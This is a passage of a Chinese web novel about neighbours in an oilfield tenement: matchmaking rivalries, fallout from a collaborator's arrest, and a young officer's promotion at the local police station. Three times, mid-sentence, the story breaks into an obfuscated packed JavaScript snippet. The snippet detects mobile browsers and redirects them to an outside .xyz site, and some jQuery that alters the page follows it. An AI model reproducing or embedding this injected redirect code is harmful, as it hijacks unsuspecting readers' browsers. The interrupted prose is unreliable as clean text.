林有粮有些口不择言,不过王艰苦却没有再听下去,她打断道:“这位大叔,我知道您是为了您儿子好。可要相亲的是您儿子,他已经不愿意了,我也不是那厚脸皮赖着他不放的。这事儿还是算了吧。” 林有粮哑然,他越看这姑娘越好,可...... 他叹口气,曹老太全程就没开口,她也是属实被林兵气着了,此时她伸手指指林兵,对林有粮道:“林老弟,您家这林兵也该教训教训了。不打不成器,不然他就等着打一辈子光棍吧。” 说完,曹老太领着王艰苦起身,还没走两步,就被一旁围观的吴建国叫住。他脸有些红,支支吾吾道:“曹奶奶,我......您看我咋样?我那个,虽然身体不好,但我今年也十八了,也要找对象了。” 曹老太震惊,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566725|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万万没想到,都这样了,还有截胡的,而且截胡的竟然是吴建国! 众人也有些傻眼,这,要是孙玲玲那样长相的,有人截胡,他们可以理解。可如今王艰苦这种的,虎背熊腰的女汉子,怎么也有人截胡?这吴建国,不会是小时候发烧,脑子烧傻了吧? 那自然不是,只是吴建国这人吧,自从身体不好,就格外喜欢身体健壮的女同志。他当初看上姜楠,也是有这个原因在的。如今看到另一个比姜楠还符合他审美的,吴建国自然不想放过。 而且他看出来了,这个女同志,是个有主意拿得住事儿的。这种人才适合嫁到他们家呢,不然就以他爷和他爹那样的,身子不好没主见的,都能被气死。 人群诡异地安静了下来。姜楠和周知行下班回来,本来也想凑个热闹,谁知这里静的,飞进一只蚊子都能听见。 两人看着这诡异的画面。 水榭里林家父子张着嘴,一副不敢置信的样子。曹老太、王艰苦和吴建国三人诡异对视着,周围群众被点穴了一样,你看看我,我看看你。 真是,都不知道该不该打破这份儿难得的宁静了。 倒是王自力、王更生兄弟俩首先反应过来,两人绕着吴建国看了一圈儿,首先问道:“你身子骨儿咋样?怎么这么瘦?看着比我姐瘦一圈儿,别是身上有什么毛病吧?” “没有,没有。”吴大锤被解了穴,三两步从人群里跳出来,赶紧替儿子澄清。儿子既然看中了,他自然得说说好话,“我家建国就是胃不好,吃再多也不吸收,长不胖,真没啥毛病。他现在是特车队的调度员,正式工,要是有病油田也不会要,是吧?你们就放心吧。” “好啊,吴建国,你个病秧子,敢截我的胡!”林兵总算是反应过来,他跳起来,指着吴建国就骂,“你还有没有个自知之明,我林兵的胡你都敢截!真是不知道自己几斤几两了,你......” “林兵!”林有粮对儿子真是失望透顶,不过对吴建国这种当场截胡的,心里也是不得劲。他还想着过两天再让曹大姐去说和说和,他可是看中这姑娘了,绝对能看住他家林兵,他冷着脸,对吴大锤道:“大锤老弟,你家这事儿办得不地道啊。这要是看着别人对象好,就想下手,以后楼里谁还敢在家相亲啊,都等着截胡好了。” 吴大锤才不上套呢,他也不是纯莽夫,而且今儿他有理啊,他说:“你少胡说了,你家林兵没看上,我家建国才出来的。怎么,你家林兵相看过,人家姑娘就不能再看别人了?你家这未免也太霸道了。” “就是,林兵不是没看上,在这嚷嚷啥。” “林大叔,你就别惯着林兵了,他都没看上,你也不要怪建国截胡了。” “就是,建国也不容易,人家也是正式工,比林兵不差的。年纪还比林兵小呢,这女大三抱金砖,我看建国就不错。” “那可不,我瞅着比林兵配。” 林兵气得在旁边骂娘,他一直觉得在楼里的年轻人中,他还是能数得着的,谁让他有工作呢。可如今大家都不帮他,他可不就气着了嘛。 这边林兵无能狂怒,那边王自力、王更生两个机灵小子,看见姜楠,那是眼睛都亮了几度。他俩可是都收到表扬信了,嘿嘿。说不得再坚持个几年,也能进派出所了。而且看样子,姜楠也是认识今儿相亲这些人的,两小子可不就上前打听情况了嘛。 “姜警官。您认识这个吴建国啊?他......他真的身体没啥毛病?” 姜楠笑了,在这个年代,她第一次见到如此利落洒脱的女同志,怎么能不帮一把呢? 想帮王艰苦的,还有曹老太,她偷偷看了眼王艰苦,见她微微点头,当即领着人去了一号院,开始另一场相亲之旅。 49. 婚事 “巧莲,你家......这报纸上的声明是真的?你们和宗凤仙断绝关系了?” 一大早,筒子楼又热闹起来。只是今日热闹中有种令人不安的杂音,这杂音刚一出来,筒子楼大早上做饭的乒乒乓乓声都小了。 这几日楼里讨论最多的,就是方阿婆宗凤仙了。谁也没想到,她会是汉奸的女儿啊。还折磨死过一个丫鬟,就因为人家丫鬟洗坏了她的蕾丝裙! 想想这得多恶毒啊,人命在她眼里,还没有一条蕾丝裙重要!而且更可恶的是,她还冒充人家丫鬟的身份!这心思是有多歹毒啊,说是老虔婆一点儿也不冤枉她。 如今宗凤仙已经被移交法院,等待审判。方家也是一早登报,说是跟宗凤仙断绝关系。可就算断绝了,那也是一起生活过几十年的人,大家还是有些好奇的。 孙巧莲心道来了,表明立场的机会终于来了,她当即正正脸色,饭都不做了,大义凌然地说:“那是自然!宗凤仙可是大大的坏分子,是国家和社会的蛀虫。对于这种人,我们家是无论如何都要跟她划清界限的。我家南山可是光荣的石油工人,是不会被阶级敌人腐蚀的先进分子。我们一家都是爱党爱国的,坚决跟着党的政策走。” 说完,她瞥了一眼问话的刘老太,劝道:“刘大妈,我劝您不要同情这种人!您要摆明立场......” 程改改掀开门帘,接话道:“奶奶,您刚才不还在家夸孙姨做得对吗?怎么出来还被人误会了?” 她对着孙巧莲笑笑,帮着将蒸好的窝头端进屋里,说:“孙姨,我们去吃早饭了,您忙吧,不打扰您了。” 孙巧莲撇撇嘴,狡猾的小丫头,别以为她不知道程家的把戏。如今不用下乡了,这丫头又出门儿了,哼,以为谁看不出来呢。 不过他们家如今要苟着,南山已经告诫过她了,先安分一段时间,等过上几个月大家都忘了这件事儿就行了。 到那时,她笑了笑,成美娟嫁进来,他们家就又有奔头了。成美娟她爹,可是修井大队的大队长。可不是什么分队的队长,那是管着近百人的大队长!以后,他们家南山,那也是能做领导的人。 孙巧莲端起熬好的碴子粥,摇摇摆摆进了家门。 姜家,早饭已经端上了桌,依然是稠稠的碴子粥,二合面馒头以及爽口的酱黄瓜。当然,还有每日必有的煮鸡蛋。 陈金花吃了口咯吱咯吱脆的酱黄瓜,小声道:“方家消息够灵通的。这么快就登报了。” 姜满城磕着鸡蛋,不屑道:“还说我吃软饭,我那是光明正大,吃我家金花的软饭,我愿意!可你们看看这方南山,这货可是想软饭硬吃呢。” 姜楠点头,赞同道:“没想到成美娟竟然是个恋爱脑,以前跟她换东西的时候,觉得挺机灵的,做事儿也爽利,不像是脑子不清楚的。怎么就栽方南山身上了,真是不理解。” “不理解就别想了,正常人是无法理解这种人的想法的。”姜满城警告闺女,“你就算和周家那小子定亲,也给我清醒点,你要是恋爱脑,爸不打你,先把那小子废了。” “爸,你就放一百二十个心吧,也不看看我是谁的闺女,就算他周知行恋爱脑了,我都不可能恋爱脑。”姜楠说大话都不带打草稿的。 “我信你个大头鬼。”姜满城嘟囔,“周知行那小子,就算天塌了,他都不可能恋爱脑。” 哼,当谁看不出来呢,跟他刚来的时候一个样儿,冷心冷情的,这是想抱他闺女的大腿呢。不过有他在,这小子别想闹妖儿。 三人还在说话,门外响起程改改的声音:“小楠,小楠。” 姜楠咽下口里的碴子粥,起身开门,程改改端着一小碟子凉拌水萝卜丝在门口,也没进来的意思,递给姜楠道:“喏,接着,谢谢姜叔叔刚才借我家一块蜂窝煤,这是我爸拌的,可好吃了。” 姜楠接过来,笑着说:“那我家可有口服了,程大叔可是大厨儿。” 程改改看了姜楠一眼,真心笑起来,摆摆手离开了。 姜楠关上门,将碟子放在餐桌上,跟父母感慨:“改改看着跟以前不一样了。” “那肯定啊,经过下乡的事儿,肯定成熟了,也踏实了。”姜满城夹了一筷子萝卜丝,嚼了两口,点头道,“大柱子这手艺还真是不赖。” 姜满城又给陈金花夹了几筷子,说闺女道:“调查组快来一个月了吧?是不是该走了?” “对,都调查的差不多了,除了宗凤仙,也没再发现什么可疑的人。” “爆炸概率有没有变化?还是85%?”姜满城问道。 昨天宗凤仙被移交,爆炸概率突然降到85%,四人再次在国营饭店碰了一次头,一致认为,另一个潜在的凶手,应该是孙巧莲。 首先,宗凤仙能压榨的对象,除了三个孙子,就是孙巧莲了。可方南山是个聪明的,一直是他压榨宗凤仙,而宗凤仙却以为她控制住了孙子。另外南笙、南海还小,有嫌疑,但是不大。 其次,宗凤仙被移交,影响最大的也是孙巧莲了。她以后还会不会继续干那个,说不准,可要是继续,那就是被儿子撺掇了。万一哪天发现儿子是个心黑的,估计刺激不会小。 最后,也是最重要的,方南山那个人自私自利,谁也不爱,最爱的永远是他自己。这样的人,是不会做伤害自己的事儿的。他就算报复,也不会选择爆炸。要知道,系统的说法是,全楼的人几乎都死了。那就绝对不可能是方南山。 因此,无论从哪方面看,孙巧莲的嫌疑都是很大的。 目前他们锁定了四个人,范桃花和吴春丽、裘盼儿以及孙巧莲。 这么多天观察下来,凶手应该就在这四个人之中。四人心里多少都松了一口气,起码有了怀疑对象,不会再跟没头的苍蝇一样乱撞,四人还是很满意的。 姜家这边闲聊着,吴家却在说着大事儿。不是别的,这不是那天林兵相亲,吴建国当场截胡,和王艰苦看对眼儿了嘛。老吴头倒是想反对,无奈父子俩都不听他的,已经在商量摆酒的日子了。 虽然吴建国才十八,还不到法定结婚年龄,但如今很多都是先摆酒,等到年龄了去领证就完了。而且王艰苦二十二了,也是结婚的年纪了。 “等我今儿问问,有什么黄道吉日,咱们早早儿把酒摆上。到时候艰苦嫁进来,正好咱家也是双职工了,这房子的事儿也没人敢说啥了。” 当时范桃花临走前下蛆,提了他们家不配住筒子楼的事儿。当时吴大锤正被戴绿帽呢,大家不好说啥。可这几天家属院人越来越多,就有人嘀咕这个了。吴大锤无意中听到过几次,心里也是着急的。如今好了,他儿子娶了个正式工,再也没人能说啥了。 “行,爸,艰苦说她会陪嫁一个木箱子、一床新棉被、一件新棉袄和五十块钱,咱家出啥嫁妆?”吴建国喝了一口粥,慢条斯理地跟吴大锤商量。 别以为这陪嫁少,在朝阳油田,冬天可是很冷的。最冷的时候,就连油井都要停工,在家猫冬。可想而知棉被和棉袄的重要性。而且王艰苦还会带五十块钱,怎么说都是大方的了。 “那咱家就出八十八的彩礼!”吴大锤咬牙,“再买一辆自行车。周家那小子上班第一天就有自行车,咱也得有!” “这,建国,艰苦会把自行车陪嫁过来吧?”老吴头有些担心。 吴建国笑笑:“当然,自力和更生都是懂事儿的,自然不会扣下来自行车。本来他们还想把彩礼都陪嫁过来的,还是我劝了他们。他们还小,又没个工作,虽然会点儿木工活,但花的也多啊,还是留下点儿钱妥当。” 这截胡的都要在商量结婚了,另一边被截胡的,却被训得跟个孙子似的。 训人的林大叔呼哧带喘,比被训得还狼狈。这不懂事的臭小子,昨儿竟还敢跟孙巧莲那女人说话,那家人如今谁敢沾,他怎么能这么不懂事儿呢。 “孙巧莲家都出了汉奸了,你怎么还敢招惹她?你想丢了工作回家种地是吧?你心里还有没有点数?怎么越大越没个算计,心眼儿都让狗吃了?!”林有粮恨不得切开儿子的脑子看看,是不是脑子没了。小时候看着也不傻啊,怎么如今成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568285|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个二愣子。 林兵心里也不得劲呢。他就是看孙巧莲可怜,想上去安慰几句,谁知道她竟然不理他!以前这女人可是扒着他不放的。如今成了人人喊打的,竟然还拿捏上了,怎么这么可恶! 他哪里知道,他没钱后,孙巧莲早不想理他了,哪里是现在才开始的。孙巧莲可是一点儿也没看上林兵的,早前忍着他,只不过是傻小子好哄,说两句情话就能得着东西。动动嘴皮子的事儿,孙巧莲怎么会放过。可如今呢,一分钱没有,还想让她孙巧莲哄着,想屁吃呢。 林兵冷着个脸,林有粮这个当爹的越看越气,他说:“你给我离那个女人远点儿!这两天我再去找找曹大姐,你的婚事不能再拖了。人家吴建国才十八,都要摆酒了,你比人家大八岁呢,再拖下去是怎么回事儿!” 说起这个,林兵就来气,他恶狠狠地说:“有什么了不起的,还不是捡我看不上的,哼。爸,你等着吧,我一定娶一个天仙回来,羡慕不死他们!” 这边林兵终于答应好好相亲了,裘家裘老太也心急了。楼里的小年轻眼看着一个个都要定下来了,她家盼儿岂不是又落后了?正好裘向东昨儿回来,裘老太提议道:“向东,盼儿在老家也住了一个多月了,咱们把盼儿接回来相亲吧?她年纪也不小了,对门儿小楠都要定亲了,盼儿总不能还单着。” 裘向东面上又恢复了往日的温柔,想到女儿,他脸色有些不好,不过仍问道:“盼儿想通了?别再回来说些有的没的,丢咱们家的脸。” “想通了,肯定想通了的。”裘老太给孙女说情,“再说,盼儿也没说什么,她就是一时心急,失了分寸。这么多天,肯定反思好了。我跟楼下的曹春草说好了,让她给咱家盼儿留意着,肯定找一个比周知行条件还好的。到时候咱们先一步办定亲酒,肯定压过他们家一头。” 裘向东脸色柔和下来,点点头道:“行,那麻烦娘今儿把盼儿接回来吧。我这次也能休息好几天,还能为这丫头把把关。” 裘老太不知想到了什么,有些犯嘀咕:“其实应该早些接来的,我听说吴建国那个媳妇儿,她两个弟弟还得了派出所的表扬信呢。要是咱家盼儿在,说不定也能有,多攒几个功劳,不也能有个工作?” “妈。”裘向东无奈,“楼里的几个小子见天儿的在外面转悠,你见哪个人得着表扬信了?你觉得盼儿能比那几个小子还厉害?她是会武啊,还是力气大啊?您别操心这个了,还是让盼儿嫁个好点儿的人家是正经。” “对对。”裘老太清醒过来,是啊,她家盼儿又不是姜楠那丫头,五大三粗的,就是遇见贼,也抓不到。还是嫁人是正经,嫁个更好的,彻底把姜家那丫头比下去。 陶美玉听到这里,脸上也有了笑模样。她只这一个闺女,有时候会怨恨怎么只生了这一个就不再生,可有时候又很是心疼自个儿闺女。总之就是矛盾又分裂的一个人。 分裂的何止陶美玉,曹老太都觉得自己变成另一个人了。前一段儿,她还不满孙子入赘呢,可如今,却在叮嘱孙子不能对不起人家姜楠。 “你可给我安分点。”曹老太简直觉得心都要操碎了,她语重心长道,“二楼的苏家,五楼的隋家,那可都是没安好心。你咋能跟他家的闺女说话呢?你都是要定亲的人了,可不能胡来。小楠可是高中毕业,还有工作,这样的媳妇儿,你要是不珍惜,那是要天打雷劈的。” 周知行觉得他简直要冤枉死,他再一次强调:“奶,昨晚小楠也在的。我们就是从国营饭店出来,遇见了,说了两句话。我可从来没单独跟她们说过话。我发誓,我要是说谎,就让我,让我永远娶不着媳妇儿,行不行?” “这还差不多!”曹老太嘟囔,再次强调,“小楠够好了,你看,你也不算入赘了,还有孩子姓周呢,你也不亏。还能住大房子,是不是?要是娶了那两家的,哼。” 曹老太撇撇嘴,不屑道:“要是娶了那两家的啊,能给你敲碎了吸血!那两家的闺女教的,一门心思就是贴补娘家,这样的人不能沾。还想让我介绍对象,我才不沾他们家呢。” 50. 组长 大早上,各家不管说着什么,都热热闹闹的,充满了烟火气。这是姜楠前世从没体会过的。上辈子她在魔都近二十年,跟邻居从来没说过话的。当然,她是租客,又搬过几次家,当时并不觉得有什么。 可她万万想不到,在六七十年代,邻里之间会这么热闹。 不过再热闹,该上班还是要上班。调查组来了也快一个月了,摸排了近万的人,也算是完成了任务。 其实除了宗凤仙,也有其他被调查出来的,像是冒名顶替工作的、没有户口黑在油田的,都查出来不少。但冒名顶替的人,是被冒名人的亲哥哥,这事儿还是家里父母做的,跟特务无关,最后也只开除了事。可惜,六、七年过去了,被冒名的人跟家里断绝了关系,早远走他乡没了人影,工作名额也就被作业处收回了。而没户口黑在油田的,这次都被清退了回去,想靠黑在油田趁机办理城镇户口的都没如愿。 想到这一个月的辛苦,宋主任握着沈所长的手,一脸的感激:“老沈啊,这段日子多谢你了。等以后有机会,我一定请你吃饭。还有青山、小关、小楠和小周,你们也来,咱们不醉不归。” 姜楠和周知行呵呵,你一个安全部门的,谁没事儿去找你喝酒啊。 宋主任看出了大家的勉强,他呵呵笑了两声,斜睨着沈所长,说:“老沈啊,小关的事儿你还没说?” 沈明光沈所长正了正脸色,拍拍关顺的肩膀,宣布道:“关顺同志,因在抓捕偷油贼和特务的行动中表现出色,被宋主任看中,调入了安全部门。小周,以后你接关顺的班,做第六组的组长,知道吗?” 关顺表面淡定,不过脸上简直在发光,显见早就知道了这个消息,闻言冲着沈所长和宋主任敬了一个军礼,严肃道:“谢谢沈所长,谢谢宋主任。” 周知行显然猜到了有人会调走。其他组都是四个人,就他们组五个人,肯定有人要调走啊,只是没想到是组长。他有些受宠若惊,问道:“这个,合适吗?我刚来,经验不够......” “没事,你立过功,又拿的是相当于五级技术工的工资,比其他人都有资格当组长。”沈明光眼神柔和,他说,“不用担心,等下我、蓝青山和关顺会跟大家说的。” 说着,沈明光望向宋主任,说道:“老宋,你们是下午走吧?这挖走了我们派出所的一员大将,怎么也得请客吧?” 宋主任点点沈明光,笑着说:“好你个老沈,我们要走,你不说送行,还想让我请客。你这脸皮,可够厚的啊?” 沈明光哈哈大笑:“咱们一码归一码,你说,挖走了关顺,该不该请客吧?” “好,好,请客。”宋主任也乐得哈哈笑。他们部门忙啊,自从抓住了卢家辉,任务就来了,朝阳油田下面十个作业处呢,他们可是都要走一遍的。之所以最先来第十作业处,那是因为卢家辉就是在这里抓获的。今儿走了之后,他们也不是回油田总部,而是再去第一作业处,挨个儿轮一遍呢。 想想今后的工作量,宋主任就心里发苦。多一个人总归是好的,他也不再推辞,干脆地答应了请客。 姜楠心里哼一声,这个周知行,可真会占原主的便宜! 温强和邹立听说关顺调走,心里都十分的不舍。三人一起工作也有五六年了,关顺一直对他们都挺照顾的,如今突然调走,还真是挺难受的。 而且,两人看看周知行,都有些小不服气。凭什么一个新人,就能当组长? 温强虽然学历不行,可力气大啊,每次抓贼都冲在最前面,那可是很猛的。邹立扶扶眼镜,他还是大学生呢,虽然这年头文化人不敢跳得高,但他也是实打实立过功劳的。以前市里那些命案,他还被调过去协助调查呢。 两人的眼神儿怎么逃得过沈明光的眼睛?他可是几十年的老警察了,沈明光轻咳两声,开口道:“之所以让周知行当组长,是因为他是真的在战场上立过功的,是实打实流血流汗拼出来的。如果这样的同志,我们派出所都不重用,那不是寒军人的心?” 他语气有些严肃,一字一顿道:“我知道有些人不服。” 他看了一圈儿众人,这个消息是当着外勤所有人宣布的,很多人在沈明光的注视下,低下了头。听到关顺调走,有些人自然是动了心思的。有那当了几年警察的,可不就想着调去六组当组长嘛。管着三个人,大小也是个官儿,这大队长、副所长、所长,不都是从小组长一步步走过来的? 五组的万翔当场就不愿意了,他当了近三年的小警察,自认为比温强和邹立更有资格胜任组长,他小声道:“立功那是当兵的时候,他也才来不到两个月,就当组长,那些干了七八年的,怎么说?服气才怪。” 不等沈明光说话,蓝青山难得的发了火儿。这个万翔,抓贼、抓小偷的时候,比谁躲得都快,如今要升官了,倒蹿了出来。要不是他家里有人是戴红袖箍的,五组的人早就把他揍一顿了。 蓝青山三两步上前,拽住万翔的衣服领子,吼道:“就你跳得高是吧?你人事档案都不在我们派出所,你怎么有脸不服气的?” 他伸出右手,啪啪拍着万翔的脸,问道:“叶森怎么受伤的?你当我们都不知道?那晚抓贼,要不是你掉链子,叶森那么大年纪了,能为了救你受伤?不是一个组的,都能祸害人家,你问问你们组的人,谁想跟你搭档?你要是还这么不要脸,别怪我不客气,把你调去打扫厕所!” 万翔先是脸色通红,他哥哥在革委会,可是做着副主任的,大家多少对他还是有几分怕的。他从小玩警察抓小偷,最崇拜当警察的,缠着他哥调了过来,虽然人事档案一直被压着,没办妥,但他自认为已经在派出所三年,算是个老人了,没想到蓝青山这么不给面子。 不过他也不想想,在五组的时候,他是能偷懒就偷懒,典型的欺软怕硬。而且他虽然崇拜警察,可胆子着实不大,每次出任务都躲在后面,让前面的人给他挡着危险。大家都是人,谁也不欠他的,就说谁能喜欢这种人。 万翔丝毫不觉景儿,见蓝青山真的发了火,他倒不敢说话了,脸色快速的白下来。他可是知道的,蓝青山有个老战友,那可是市里做着高官的。 蓝青山当了这么多年外勤,力气很是不小,大家伙儿拉了好一会儿才把人拉下来。 沈明光觑了眼万翔,冷哼一声,安慰蓝青山道:“好了,青山,别跟这种人生气。” 他拍拍手,接着说:“大家把小心思收一收,我们派出所是全心全意为人民服务的地方,可不是计较那些蝇头小利的菜市场。好了,其他人都散了吧,第六组的都跟我来,咱们再开个小会。” 关顺带着四人,跟着沈明光进了办公室,同时进来的,还有蓝青山。 他铁青着脸,显然还没消气儿。沈明光笑了,劝道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573587|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青山啊,你脾气怎么还这么暴?这可不行,好了,咱们说正事儿。” 他看着温强和邹立两人,开口道:“我知道你俩心里也有想法,但是命令已经下了,我希望你俩能以大局为重,全力配合周知行的工作。” “另外。”沈明光看了眼周知行,柔声道,“小周,你还年轻,也要学会尊重前辈。温强和邹立两人都是所里很优秀的外勤,你可不要因为他们是你的属下,就慢待他们,知道吗?” 温强和邹立脸上有些激动,被大领导这么夸,他们......他们虽然确实很优秀,但领导能看到,他们也是很高兴的啊。 “那当然。”周知行严肃脸,知道所长是在为他铺路,他保证道,“沈所长,您放心。我一定知人善用,让我们第六组,成为外勤最优秀的小组。” “好!”沈明光拍拍周知行的肩膀,开口道:“行了,你跟关顺去交接下。另外,中午咱们在食堂小灶给关顺送行,大家都别迟到了。” “是。” 不管其他人都是什么心思,周知行顺利地接了关顺的班,送行后,很是利索地升任了六组组长。 新官上任三把火,周知行也是很想搞事情的。傍晚下班时,他推着车子,跟姜楠嘀嘀咕咕:“你说我做点儿什么好?抓贼?学习文件?训练拳脚功夫?” 姜楠小声警告道:“你悠着点儿,那个万翔家里有戴红袖箍的,他肯定盯着你呢,你别惹事儿。” “嗐,就他?”周知行完全不放在眼里,他说,“我还等着他找事儿呢,这种人在咱们派出所,那不是祸害嘛。反正他也不是咱们派出所的人,想个办法让他调走,正好了。” 两人一路骑车,很快回到了家属院。 “小楠,总部宣传的回去了啊?今儿怎么没见有演讲?”楼下唠嗑儿的大爷大妈,见到两人当先问道。他们没什么事儿,最喜欢的就是四处看这些热闹。虽然听了很多次,但观众不一样啊,今儿特车队,明儿钻井队的,还是有热闹瞧的。这猛不丁没了,还怪不习惯的。 “走了,都来一个月了,还有其他作业处要去的。”姜楠边锁车子边回答。 她直起身,见到一个三十多的大姐,笑道:“隋大姐,你怎么来了?” 这是五楼的隋家大姑娘隋芸,今年其实才二十六,嫁给了市里纺织厂的一位车间工人,常年家里家外一把罩,操劳得狠了,看起来有些老相。不过也正因此,夫家看她勤恳,前两年花钱给她买了一个正式工的工作,也是有工作的人。 隋芸长得还行,一件红色的确良上衣,衬得气色还不错。不过因为过得不如意,脸上带出些刻薄,前几年还不明显,如今却是一眼就能看出来了。她溜了周知行一眼,觉得他有眼无珠,竟然看不上她小妹,一心扒着姜家丫头,真是没眼光。就姜家丫头娇惯的那个样子,肯定伺候不好男人,以后有他苦头吃。 想起过来给娘家带的消息,她心里得意起来,面上却淡淡地道:“这不是一个月都没回来,过来看看爸妈。我先走了,做人家媳妇儿的,还是要回家做晚饭的。” 周围唠嗑的大爷大妈们,不屑地撇撇嘴。大闺女一个多月没回来了,大包小包地带着礼过来,这老隋家两口子竟然连晚饭都不留,真是有够抠门的。 姜楠听着系统的播报,笑了。这是瞌睡来了送枕头,万翔要调走的门路,自己插着翅膀飞过来了。 51. 怀孕 原来这隋芸,是给娘家送消息的。 市里的纺织厂有了一个工作空缺!而且还是保卫科这种实权部门。原来保卫科的副科长走了门路,调去隔壁食品厂做科长去了。这不就剩下一个副科长的缺。 隋芸谋划的不是副科长,她想的是,副科长总归得从下面的人里升一个吧?那保卫科可不就空出来一个工人名额?她家小弟也高中毕业了,虽说都在传油田招工,可又没有正式的消息公布,谁知道到底如何呢?眼前这种确定的空缺,一定要先抓住了才行。 这不,一得了消息,她连忙请假过来送消息,生怕晚一步,就被别人抢了去。 姜楠给周知行使了个眼色,周知行会意,立马做出懊恼状,他一拍脑门儿,说:“哎呀,瞧我这记性,有一个文件忘在派出所了。小楠,走,咱俩再去一趟,这事儿拖不得。” 姜楠也装着有些生气的样子,不情不愿地掏兜儿找车钥匙:“你这啥记性啊?这回来了才想起来。真是的。” “怪我,都怪我。等下回来的路上我给你买冰棍儿,行不行?”周知行赔罪,两人很快跟众位大爷大妈告别,骑车离开。 大爷大妈:小年轻就是不稳重,这工作都丢三落四的。 等到了小树林附近,见没什么人了,姜楠才将从隋芸那里扫描来的信息告诉周知行。 周知行笑得跟只大尾巴狼似的,他说:“你就瞧好儿吧,明儿中午正好是五组、六组一起值班,咱们就趁中午吃饭的时候,把消息露给万翔,他肯定心动。” 姜楠点点头,也知道这种人还是不要留在派出所的好。她还是十分喜欢如今的工作的:“行,明儿咱们坐得离他近一些,保证他能听到。” “对。”说完了正事,周知行推着车子道,“走,去买雪糕吃。我请客。” 姜楠愣了下,摆摆手:“不行,这几天不方便。吃点儿别的吧,看看有没有果子卖。” 周知行可是在后宫当过侍卫的人,当然知道‘不方便’是什么意思。他笑着说:“行,那咱就去买果子。” 姜楠点点头。要说起来,姜楠还是很感谢吃瓜系统的,不仅是因为吃得好,这种生活上的小细节,那也是照顾得妥妥的。就说这个时代的月经带,她是无论如何都无法接受的。虽然为了掩人耳目,她也有买,但她一直用的都是系统商城里卖的卫生巾,给老妈陈金花用的也是这个。 好在系统在设计的时候,还是考虑到男女宿主的不同,对这些细节都是有准备的,还自带了垃圾回收系统,否则她都不知道怎么办了。 想着这些杂七杂八的,两人很快来到了供销社。为了方便大家买东西,供销社是会晚一些下班的。当然,他们开门也晚,十点开门,晚上七点半下班。而其他单位一般是下午六点下班。 两人来到蔬果区,自然看到了成美娟。她今儿穿着一条嫩黄色的连衣裙,见到姜楠也不理,而是把脸扭了过去。她可是听孙阿姨说了,姜楠对南山爱而不得,这才选了周知行。这话她是很信的,这个周知行一看就没有南山长得好,姜楠连他都能看上,对南山肯定是上过心的。哼,以前还说孙阿姨的小话,这个小人。 周知行:原主这长相,叫男子气概好不好。这可是上辈子周知行最羡慕的长相。就方南山那样的小白脸,他才看不上呢。 姜楠:就冤枉,喜欢方南山这个标签是甩不掉了是吧? 姜楠也不纠结成美娟的态度,两人也就是交易的关系,从没深聊过什么,爱咋滴咋滴吧。她看着蔬果区的水果,见只剩一些不新鲜的梨子,有些失望。周知行却不在乎,梨子嘛,除了吃,还能炖梨汤,对身体还是很好的。 他买了几个梨子,对姜楠道:“没事儿,等我回去熬梨汤,咱们天天喝一点儿,比糖水还好呢。” 姜楠斜眼儿看他:“你还会做这个呢。” “多新鲜呐。”周知行挑眉,轻声道,“我可是纨绔,纨绔知道吗?吃喝玩乐方面的,就没有我不知道的。你就瞧好儿吧。” 瞧好儿的结果就是,刚吃完晚饭,周知行就端着一小锅梨汤上楼了,哄得未来丈母娘陈金花眉开眼笑,而未来老丈人姜满城再一次觉得,他的地位要不保。不行,明天他得早点儿去供销社,买点儿黄桃罐头,金花最爱吃那个,肯定把这家伙比下去! 晚饭后,大家坐在门口唠嗑,惊讶的发现,裘家竟然没人。刘老太一拍大腿,尖声道:“别是出什么事儿了吧?今天中午见徐大妮匆匆忙忙地回家,叫了裘向东说是回老家,还说要让儿媳妇请假一起回去呢。也没说晚上不回来啊,这不会是有啥不好的事儿吧?” 不怪刘老太疑神疑鬼,自从宗凤仙的事出了之后,这种夜不归宿的,可是要问清楚的。不然楼里再出个什么事儿,他们一楼的人,名声都得坏。 其他人面面相觑,程改改小声道:“应该是去接盼儿的,明天说不定就回来了。西河岸大队离这里不近,不回来也正常。” 吴大锤脸耷拉下来,他就是在西河岸大队遭遇了美人计,对那里没什么好印象。他冷冷瞧了姜家一眼,问道:“西河岸大队还没勘探完?储量咋样,也该有个结果了吧。”他还等着招工呢。 这话是说给陈金花听的,她爸陈万里可是总勘探工程师,在那里也有两个月了,只是陈万里那个人,一忙起来就不见人影,陈金花不接这个话茬。 姜满城笑了两声,也不理这个棒槌,他对程改改道:“改改说的对,西河岸大队骑车也要两个小时的,这一下午来回可是很累人的,裘大妈应该是身体吃不消,明儿就回来了。大家别担心。” 说完,他对着楼下喊:“曹大妈你别急,没事儿的。” 